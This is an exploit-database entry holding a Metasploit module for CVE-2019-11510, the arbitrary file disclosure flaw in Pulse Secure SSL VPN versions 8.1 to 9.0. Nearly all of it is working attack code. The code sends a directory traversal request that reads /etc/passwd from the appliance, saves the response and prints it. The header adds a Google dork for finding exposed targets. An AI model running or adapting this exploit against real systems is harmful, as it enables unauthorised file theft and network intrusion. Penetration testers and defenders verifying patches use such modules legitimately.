Pulse Secure 8.1R15.1/8.2/8.3/9.0 SSL VPN - Arbitrary File Disclosure (Metasploit)

# Exploit Title: File disclosure in Pulse Secure SSL VPN (metasploit)
# Google Dork: inurl:/dana-na/ filetype:cgi
# Date: 8/20/2019
# Exploit Author: 0xDezzy (Justin Wagner), Alyssa Herrera
# Vendor Homepage: https://pulsesecure.net
# Version: 8.1R15.1, 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4
# Tested on: Linux
# CVE : CVE-2019-11510 
require 'msf/core'
class MetasploitModule < Msf::Auxiliary
	include Msf::Exploit::Remote::HttpClient
	include Msf::Post::File
	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Pulse Secure - System file leak',
			'Description'    => %q{
				Pulse Secure SSL VPN file disclosure via specially crafted HTTP resource requests.
        This exploit reads /etc/passwd as a proof of concept
        This vulnerability affect ( 8.1R15.1, 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4
			},
			'References'     =>
			    [
			        [ 'URL', 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11510' ]
			    ],
			'Author'         => [ '0xDezzy (Justin Wagner), Alyssa Herrera' ],
			'License'        => MSF_LICENSE,
			 'DefaultOptions' =>
		      {
		        'RPORT' => 443,
		        'SSL' => true
		      },
			))

	end


	def run()
		print_good("Checking target...")
		res = send_request_raw({'uri'=>'/dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/'},1342)

		if res && res.code == 200
			print_good("Target is Vulnerable!")
			data = res.body
			current_host = datastore['RHOST']
			filename = "msf_sslwebsession_"+current_host+".bin"
			File.delete(filename) if File.exist?(filename)
			file_local_write(filename, data)
			print_good("Parsing file.......")
			parse()
		else
			if(res && res.code == 404)
				print_error("Target not Vulnerable")
			else
				print_error("Ooof, try again...")
			end
		end
	end
	def parse()
		current_host = datastore['RHOST']

	    fileObj = File.new("msf_sslwebsession_"+current_host+".bin", "r")
	    words = 0
	    while (line = fileObj.gets)
	    	printable_data = line.gsub(/[^[:print:]]/, '.')
	    	array_data = printable_data.scan(/.{1,60}/m)
	    	for ar in array_data
	    		if ar != "............................................................"
	    			print_good(ar)
	    		end
	    	end
	    	#print_good(printable_data)

		end
		fileObj.close
	end
end